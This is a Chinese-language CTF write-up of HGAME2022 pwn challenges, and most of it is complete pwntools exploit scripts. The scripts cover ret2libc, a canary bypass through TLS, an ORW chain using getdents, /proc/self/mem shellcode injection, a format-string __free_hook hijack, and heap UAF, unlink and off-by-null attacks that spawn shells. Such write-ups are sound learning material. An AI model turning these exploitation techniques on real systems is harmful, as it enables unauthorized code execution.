0%

hgame2022

闲着时就去打了下杭电的 HGAME2022,以为第一周的题目都会蛮简单的,没想到每道题都花了不少功夫,出题人甚至还只是大二学生,顿时感觉到参差了。

WEEK1

test_your_gdb

先检查一下保护

再看一下程序逻辑

动调直接去看加密后的 s2,我们大概停在判断位置处,看一下 s2 即 rsi 的值

上图显示不全,因为一共要比较 16 个字节:

所以 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
#io=process("./a.out")
io=remote("chuj.top",50610)
#gdb.attach(io)
#pause()
backdoor=0x401256

io.send(p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9))

io.recvuntil('enter your pass word\n')
io.recv(24)
canary=u64(io.recv(8))
log.success("canary===>"+hex(canary))

payload='a'*24+p64(canary)+p64(0)+p64(backdoor)
io.sendline(payload)

io.interactive()

enter_the_pwn_land

先检查一下保护:

看一下主要函数:

可以看到不断创造线程进入一个带有栈溢出漏洞的函数,值得注意的是,v3 作为 read 的返回值和 i 作为 s 的参数决定了读入的位置,这两者在覆盖的时候均不应被改变(不断的测试发现 v3 不能变,i 按理说可以变成下一次想读入的位置)。

清楚这一点后,exp 就是普通的 ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
io=remote("chuj.top",34686)
#io=process("./a")
elf=ELF("a")
libc=ELF("libc-2.31.so")

pop_rdi_ret=0x0000000000401313
call_puts=0x0401090
vul=0x04011BA
ret=0x000000000040101a

#gdb.attach(io)
#pause()
payload = 'a'*0x28+p32(0)+p32(0x2c)+p64(0)
payload += p64(pop_rdi_ret)+p64(0x404028)+p64(call_puts)
payload += p64(vul)

io.sendline(payload)
setbuf_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("libc=======>"+hex(libc.sym["setbuf"]))
log.success("setbuf===>"+hex(setbuf_addr))
libc_base=setbuf_addr-libc.sym["setbuf"]
log.success("libc_base==>"+hex(libc_base))
#libc_base=read_addr-libc.sym["read"]
#log.success("read_addr====>"+hex(libc.sym["read"]))
#log.success("libc_base====>"+hex(libc_base))
#gdb.attach(io)
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search('/bin/sh'))

payload = 'a'*0x28+p32(0)+p32(0x2c)+p64(0)
payload += p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)

io.sendline(payload)
io.interactive()

注:打远程的时候发现泄露 read 的函数地址计算基址时会有偏差,所以换了 setbuf 就成了。libc-2.31 也需要栈对齐。

enter_the_evil_pwn_land

题目和上题稍有变化,保护方面多开启了个 canary

当时的第一个想法是利用 puts 泄露canary,不过回过神来发现 puts 过后就直接检测 canary 了,所以打消这个念头。

记忆中其他绕过 canary 的方法有劫持 _stack_chk_fail,还有一种就是同时修改 canary 和 TLS 结构体中预存的 canary。前者一般需要任意写,后者的话印象中没遇到过。不过似乎有一种 stack smash 泄露信息的巧妙方法,这就触发了我的脑洞,会不会,有没有一种可能,TLS 结构体就被布置在了上?况且这道题溢出的空间还不少。

于是我就 gdb 调试了一下,看了一下栈上的信息

然后就继续往下找,终于在很远处发现了可疑目标:

此时我同时将两处覆盖为aaaaaaaa,发现程序不再报 stack smash 错误,说明我们已经成功绕过了 canary,需要说明的是远程偏移和本地不一样,送过去的数据尽量大就行。

继续打 ret2libc 构造 system(‘/bin/sh’)打不通。

原因不详,猜测是栈结构被我们搞得七零八落的,于是就考虑打 one_gadget。(不知为何 ubuntu16.04 检测 libc-2.31.so 时会报错,18 的就不会)如下:

直接打打不通,选择尝试构造条件,因为程序里有 csu 的 gadget,所以将寄存器 r15 和 r12 置零轻而易举:

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#io=process("./a.out")
io=remote("chuj.top",35225)
libc=ELF("libc-2.31.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#gdb.attach(io)
#pause()
pop_rdi_ret=0x0000000000401363
ret=0x40101a

payload='a'*0x38+p64(pop_rdi_ret)+p64(0x404030)+p64(0x4010A0)+p64(0x4011DA)
payload=payload.ljust(3000,'a')
io.sendline(payload)

setbuf_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=setbuf_addr-libc.sym["setbuf"]
log.success("libc_base===>"+hex(libc_base))
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search('/bin/sh\x00'))
one_gadget=libc_base+0xe6c7e
log.success('system==>'+hex(system))
log.success('binsh===>'+hex(binsh))

payload='a'*0x38+p64(0x000000000040135c)+p64(0)*4+p64(one_gadget)
#payload=payload.ljust(3000,'a')
#gdb.attach(io)
#pause()
io.sendline(payload)

io.interactive()

oldfashion_orw

查看一下保护,NX 开着,看来不是编写 shellcode 题型

看一下主函数逻辑

有个没检查下限导致的栈溢出。通过这段溢出,构造 orw 链即可。

但这题的 flag 并不叫 flag,我们看一下出题人给的部署文件:

所以还应先泄露 flag 名称才行,一开始想的是 chroot 逃逸或者 opendir & readdir 之类的手法???虽然我也不会就是了。搞了一天没搞出来就去问了出题人,师傅告诉我就是读目录,目录也是文件,忽然想到 “ linux 下一切皆文件” 的理论。

于是直接想着直接 open(“/“) 这样子看能不能直接把目录相关数据用 read 和 write 读出来,但失败了,似乎 read 读不了目录文件?于是就在 64 位系统调用表上找其他系统调用,最后花了半天找到了 ‘getdents’

注:该题的 gadget 里没有 syscall,需要我们改 [ prctl ] 为 [ prctl + offset ] syscall 这样子,最后 4bit 为 0XC。

该题也有 csu,因此可以构造任意系统调用,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
#io=process("./vuln")
io=remote("chuj.top",42614)
elf=ELF("vuln")
#libc=ELF("libc-2.31.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
main=0x401315
context.log_level='debug'

def csu(rbx, rbp, r15, r12, r13, r14):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = p64(0x40143A) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(0x401420)
payload += 'A'*0x38
return payload

main=0x401315
pop_rdi_ret=0x0000000000401443
pop_rsi_r15_ret=0x0000000000401441

#prctl====>syscall
io.sendafter('size?\n',str(-1))
payload='a'*0x38+p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_r15_ret)+p64(elf.got["prctl"])+p64(0)
payload+=p64(0x4010A0)+p64(main)
io.sendafter("content?\n",payload)
io.sendafter('done!\n',p8(0xc))

#read(0,bss,0x10) bss===>'/'
bss=0x404088
io.sendafter('size?\n',str(-1))
payload='a'*0x38+csu(0,1,elf.got["read"],0,bss,0x10)
payload+=p64(main)
io.sendafter("content?\n",payload)
io.sendafter('done!\n',"/")

#open("/")
io.sendafter('size?\n',str(-1))
payload='a'*0x38+p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10)+p64(0)
payload+=p64(0x4010A0)+csu(0,1,elf.got["prctl"],bss,0,0)
payload+=p64(main)
#gdb.attach(io)
#pause()
io.sendafter("content?\n",payload)
io.send('aa')

#fstat
#temp=0x404088
#io.sendafter('size?\n',str(-1))
#payload='a'*0x38+p64(pop_rdi_ret)+p64(0)
#payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10)+p64(0)
#payload+=p64(0x4010A0)+csu(0,1,elf.got["prctl"],3,temp,0)
#payload+=csu(0,1,elf.got["write"],1,temp,0x300)
#payload+=p64(main)
#gdb.attach(io)
#pause()
#io.sendafter("content?\n",payload)
#io.send('aaaaa')

#getdents(0,bss,0x300)
io.sendafter('size?\n',str(-1))
payload='a'*0x38+csu(0,1,elf.got["read"],0,bss+0x10,78)
payload+=csu(0,1,elf.got["prctl"],3,bss,0x300)
payload+=csu(0,1,elf.got["write"],1,bss,0x300)
payload+=p64(main)
io.sendafter("content?\n",payload)
io.send('a'*78)

#get flag_name
io.recvuntil('flag')
bk=io.recv(20)
log.success('flag'+bk)

#read(0,bss,0x20) ---- bss=>flag_name
bss=0x404088
io.sendafter('size?\n',str(-1))
payload='a'*0x38+csu(0,1,elf.got["read"],0,bss,0x20)
payload+=p64(main)
io.sendafter("content?\n",payload)
io.sendafter('done!\n','flag'+bk+p64(0))

#open(flag_name)
io.sendafter('size?\n',str(-1))
payload='a'*0x38+p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_r15_ret)+p64(bss-0x10)+p64(0)
payload+=p64(0x4010A0)+csu(0,1,elf.got["prctl"],bss,0,0)
payload+=p64(main)
#gdb.attach(io)
#pause()
io.sendafter("content?\n",payload)
io.send('aa')

#read(3,bss,0x80);write(1,bss,0x80)
io.sendafter('size?\n',str(-1))
payload='a'*0x38+csu(0,1,elf.got["read"],4,bss,0x80)
payload+=csu(0,1,elf.got["write"],1,bss,0x80)
payload+=p64(main)
io.sendafter("content?\n",payload)

io.interactive()

spfa

wp 出来了,任意读漏洞当时是看到了的,就是不知道怎么用算法达到任意写的目的。还有一些细节需要注意,下面细说。

漏洞

  • 任意读

  • 存在于addspfa内的任意写

  • 后门函数

解题思路

  • 利用任意读泄露 got 表上的地址,获得 libc_base
  • 利用任意读泄露 _fini_array 上的地址,获得 proc_base
  • 利用任意读泄露 environ 内的环境变量栈地址,动调计算偏移得到 main 栈的返回地址
  • 利用任意写将返回地址覆盖为后门函数

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from pwnlib.util.iters import mbruteforce
io=process("./spfa")
#io=remote("chuj.top",47250)
elf=ELF("spfa")
libc=ELF("libc-2.31.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def brute():
io.recvuntil(') == ')
hash_code = io.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')
io.sendlineafter('????> ', proof)
#brute()

io.sendlineafter("datas?\n>> ", str(4))

#get libc_base
io.sendline(str(1))
io.sendline(str(0))
io.sendline(str(0))
io.sendline(str(-((elf.sym["dist"]-elf.got["setbuf"])//8)))
io.recvuntil(">> the length of the shortest path is ")
setbuf=int(io.recv(15),10)
libc_base=setbuf-libc.sym["setbuf"]
log.success("libc_base===>"+hex(libc_base))

#get proc_base
_fini_array=0x6D28
io.sendline(str(1))
io.sendline(str(0))
io.sendline(str(0))
io.sendline(str(-(elf.sym['dist']-_fini_array)//8))
io.recvuntil(">> the length of the shortest path is ")
proc_base=int(io.recv(14),10)-0x12e0
log.success("proc_base===>"+hex(proc_base))

#get env_stack
envir=libc_base+libc.sym["environ"]
dist=proc_base+elf.sym["dist"]
io.sendline(str(1))
io.sendline(str(0))
io.sendline(str(0))
io.sendline(str((envir-dist)//8))
io.recvuntil(">> the length of the shortest path is ")
env_stack=int(io.recv(15),10)
log.success("env_stack===>"+hex(env_stack))

#write ret_addr
ret_id=(env_stack-0x100-dist)//8
backdoor=proc_base+0x16AA
io.sendline(str(2))
io.sendline(str(1))
#gdb.attach(io)
#pause()
io.sendline("0 "+str(ret_id)+" "+str(backdoor))
io.sendline(str(0))
io.sendline(str(0))

io.interactive()

题目质量都好高,但这几天打这个比赛都没复习高数了,之后的 week 题就不打了,但要复盘。

WEEK2

blind

一道盲打题,首先告诉了我们 write 的 libc 地址,我们便能利用LibcSearcher获取 libc。

然后程序告诉我们可以打开一个文件,这里需要我们了解一个新的知识点:Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取 /proc/self/maps 可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址/proc/self/mem 是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合 maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

程序给了我们libc基址,因此我们只需打开/proc/self/mem文件,打开后,程序让我们输入一个地址进行篡改,因为 main 函数 ret 时返回的是__libc_start_main,因此我们篡改该内存即可(直接写内存绕开了 libc 文件不可写的防护)。

但因为 main 函数 ret 的是 libc_start_main+??? 而不是 libc_start_main+0,所以我们需要足够多的 nop 来覆盖到 libc_start_main+???,令其滑倒在 shellcode 上。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
import itertools
import base64
context.log_level='debug'
context.arch='amd64'
io=remote("chuj.top",51916)

def brute():
io.recvuntil(') == ')
hash_code = io.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')
io.sendlineafter('????> ', proof)
brute()

io.recvuntil(': 0x')
write=int(io.recv(12),16)
libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
log.success('libc_base===>'+hex(libc_base))
__libc_start_main=libc_base+libc.dump('__libc_start_main')

io.sendlineafter(">> ",'/proc/self/mem\x00')
io.sendlineafter(">> ", str(__libc_start_main))

payload=asm(shellcraft.sh()).rjust(0x300,asm('nop'))
io.sendline(payload)

io.interactive()

echo_server

在堆上构造栈的 fmt 链子的题目,总算有机会复盘一遍了,确实麻烦。

程序逻辑很简单,就是一个不断循环的格式化字符串漏洞。

首先我们动调看一下栈的结构:

通过格式化字符串我们可以泄露出rbplibc

1
2
3
4
5
6
7
8
9
10
11
12
def input(content):
io.sendlineafter(">> ",str(len(content)))
io.send(content)
input("%6$p-%13$p")
io.recvuntil("0x")
rbp=int(io.recv(12),16)
log.success("rbp={}".format(hex(rbp)))
io.recvuntil("0x")
libc_base=int(io.recv(12),16)-libc.sym["__libc_start_main"]-243
log.success("libc_base={}".format(hex(libc_base)))
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]

因为 realloc 的size位为 0 时等同于 free,因此接下来我们选择在栈上构造 __free_hook。

如何构造就需要用到 rbp 链了:

1
2
3
4
__libc_start_main_in_stack=(rbp & 0xFF)+0x18
log.success("__libc_start_main_in_stack:"+hex(__libc_start_main_in_stack))
payload="%{}c%6$hhn\n".format(__libc_start_main_in_stack+2)
input(payload)

此时我们选择先构造中间俩字节,所以将 rbp 修改为目标地址+2

然后我们利用格式化字符串,将 rbp 指向处写入 __free_hook 对应的 2 个字节:

1
2
payload="%{}c%10$hn\n".format((__free_hook >> 16) & 0xFFFF)
input(payload)

重复上述步骤我们同理可以修改最后两个字节:

1
2
3
4
payload="%{}c%6$hhn\n".format(__libc_start_main_in_stack)
input(payload)
payload="%{}c%10$hn\n".format(__free_hook & 0xFFFF)
input(payload)

这样我们在栈上就有了__free_hook,重复上述步骤,通过利用当前 rbp 修改写入位置,我们便能将__free_hook劫持为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload="%{}c%13$hn\n".format((system) & 0xFFFF)
input(payload)

payload="%{}c%10$hn\n".format(__free_hook + 2 & 0xFFFF)
input(payload)

payload = "%{}c%13$hn\n".format((system >> 16) & 0xFFFF)
input(payload)

payload="%{}c%10$hn\n".format(__free_hook + 4 & 0xFFFF)
input(payload)

#free_hook+4=>(system >> 32) & 0xFFFF
payload="%{}c%13$hn\n".format((system >> 32) & 0xFFFF)
input(payload)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
io=process("./echo")
libc=ELF("libc-2.31.so")

def input(content):
io.sendlineafter(">> ",str(len(content)))
io.send(content)

gdb.attach(io)
#get libc & rbp
input("%6$p-%13$p")
io.recvuntil("0x")
rbp=int(io.recv(12),16)
log.success("rbp={}".format(hex(rbp)))
io.recvuntil("0x")
libc_base=int(io.recv(12),16)-libc.sym["__libc_start_main"]-243
log.success("libc_base={}".format(hex(libc_base)))
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]

__libc_start_main_in_stack=(rbp & 0xFF)+0x18
log.success("__libc_start_main_in_stack:"+hex(__libc_start_main_in_stack))

#rbp1=>rbp2
#rbp2=>__libc_start_main+2
payload="%{}c%6$hhn\n".format(__libc_start_main_in_stack+2)
input(payload)

#rbp2=>__libc_start_main+2
#__libc_start_main+2=(__free_hook >> 16) & 0xFFFF
payload="%{}c%10$hn\n".format((__free_hook >> 16) & 0xFFFF)
input(payload)

#rbp1=>rbp2
#rbp2=>__libc_start_main
payload="%{}c%6$hhn\n".format(__libc_start_main_in_stack)
input(payload)

#rbp2=>__libc_start_main
#__libc_start_main+0=__free_hook & 0xFFFF
payload="%{}c%10$hn\n".format(__free_hook & 0xFFFF)
input(payload)
#now original __libc_start_main_in_stack = __free_hook

#__free_hook+0=>(system) & 0xFFFF
payload="%{}c%13$hn\n".format((system) & 0xFFFF)
input(payload)

#rbp2=>__free_hook
#__free_hook=__free_hook+2
payload="%{}c%10$hn\n".format(__free_hook + 2 & 0xFFFF)
input(payload)

#free_hook+2=>(system >> 16) & 0xFFFF
payload = "%{}c%13$hn\n".format((system >> 16) & 0xFFFF)
input(payload)

#rbp2=>__free_hook+2
#__free_hook+2=__free_hook+4
payload="%{}c%10$hn\n".format(__free_hook + 4 & 0xFFFF)
input(payload)

#free_hook+4=>(system >> 32) & 0xFFFF
payload="%{}c%13$hn\n".format((system >> 32) & 0xFFFF)
input(payload)
#now free_hook => system
gdb.attach(io)
input("/bin/sh\x00")

io.sendline(str(0))
io.interactive()

WEEK3

elder_note

libc2.23 下的 UAF,最大可申请 0x100 大小的 chunk,所以通过 unsorted bin leak 便能泄露出 libc。通过 double free 将 chunk 分配到&_malloc_hook-0x23处。但因为无法满足 one_gadget 的条件,所以配合&_realloc_hook 调整栈帧,即将&_malloc_hook劫持为&realloc+?,再将&_realloc_hook劫持为 one_gadget。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
sh = process("./note")
libc = ELF("./libc-2.23.so")

def add(index, size, content):
sh.sendlineafter(">> ", "1")
sh.sendlineafter(">> ", str(index))
sh.sendlineafter(">> ", str(size))
sh.sendafter(">> ", content)

def show(index):
sh.sendlineafter(">> ", "2")
sh.sendlineafter(">> ", str(index))

def delete(index):
sh.sendlineafter(">> ", "3")
sh.sendlineafter(">> ", str(index))

add(0x0, 0x100, "A"*0x100)
add(0x1, 0x68, "B"*0x68)
add(0x2, 0x68, "B"*0x68)

delete(0)
show(0)

libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x68
__malloc_hook = libc_base + libc.sym["__malloc_hook"]
__realloc_hook = libc_base + libc.sym["__realloc_hook"]
system = libc_base + libc.sym["system"]
one_gadget = libc_base + 0x4527a
realloc = libc_base + libc.sym["__libc_realloc"]
log.success("libc_base: " + hex(libc_base))

delete(1)
delete(2)
delete(1)

add(0, 0x68, p64(__malloc_hook - 0x23))
add(0, 0x68, '\n')
add(0, 0x68, '\n')
add(0, 0x68, 'a' * 0xb + p64(one_gadget) + p64(realloc + 0x10))

sh.sendlineafter(">> ", "1")
sh.sendlineafter(">> ", str(0))
sh.sendlineafter(">> ", str(0))

sh.interactive()

changeable_note

edit 里有个溢出函数gets,因此可以构造 unlink 改写 notes 数组的内容为想要的地址&_free_hook,然后再将目标函数篡改为system

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
sh = process("./note")
elf = ELF("./note")
libc = ELF("./libc-2.23.so")

def add(index, size, content):
sh.sendlineafter(">> ", "1")
sh.sendlineafter(">> ", str(index))
sh.sendlineafter(">> ", str(size))
sh.sendafter(">> ", content)

def edit(index, payload):
sh.sendlineafter(">> ", "2")
sh.sendafter(">> ", str(index).ljust(8, '\x00'))
sh.send(payload)

def delete(index):
sh.sendlineafter(">> ", "3")
sh.sendlineafter(">> ", str(index))

note_addr = 0x4040C0
add(0, 0x20, '\n')
add(1, 0x20, '\n')
add(2, 0x100, '\n')
add(3, 0x20, '\n')
payload = p64(0) + p64(0x21) + p64(note_addr + 8 - 0x18) + p64(note_addr + 8 - 0x10)
payload += p64(0x20) + p64(0x110)
payload += '\n'
edit(1, payload)
delete(2)

payload = p64(0) * 2 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi']) + p64(note_addr) + '\n'
edit(1, payload)

edit(0, p64(elf.sym['puts'])[:-1] + '\n')
delete(1)
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["puts"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))

edit(2, p64(system)[:-1] + '\n')
sh.sendlineafter(">> ", '/bin/sh\x00')

sh.interactive()

sized_note

libc2.27 的 off-by-null 模板题。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
sh = process("./note")
libc = ELF("./libc-2.27.so")

def add(index, size, content):
sh.sendlineafter(">> ", "1")
sh.sendlineafter(">> ", str(index))
sh.sendlineafter(">> ", str(size))
sh.sendafter(">> ", content)

def show(index):
sh.sendlineafter(">> ", "2")
sh.sendlineafter(">> ", str(index))

def delete(index):
sh.sendlineafter(">> ", "3")
sh.sendlineafter(">> ", str(index))

def edit(index, payload):
sh.sendlineafter(">> ", "4")
sh.sendafter(">> ", str(index).ljust(8, '\x00'))
sh.send(payload)

for i in range(0, 11):
add(i, 0xF8, "a"*0xF7)

add(12, 0x60, '\n')

for i in range(3, 10):
delete(i)

delete(0)
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)

add(0, 0x78, "\n")
add(0, 0x78, "\n")
show(1)
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60 log.success("libc_base={}".format(hex(libc_base)))
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

add(0, 0x60, '\n')
delete(12)
delete(0)
edit(1, p64(__free_hook))
add(1, 0x60, '/bin/sh\x00')
add(2, 0x60, p64(system))
delete(1)

sh.interactive()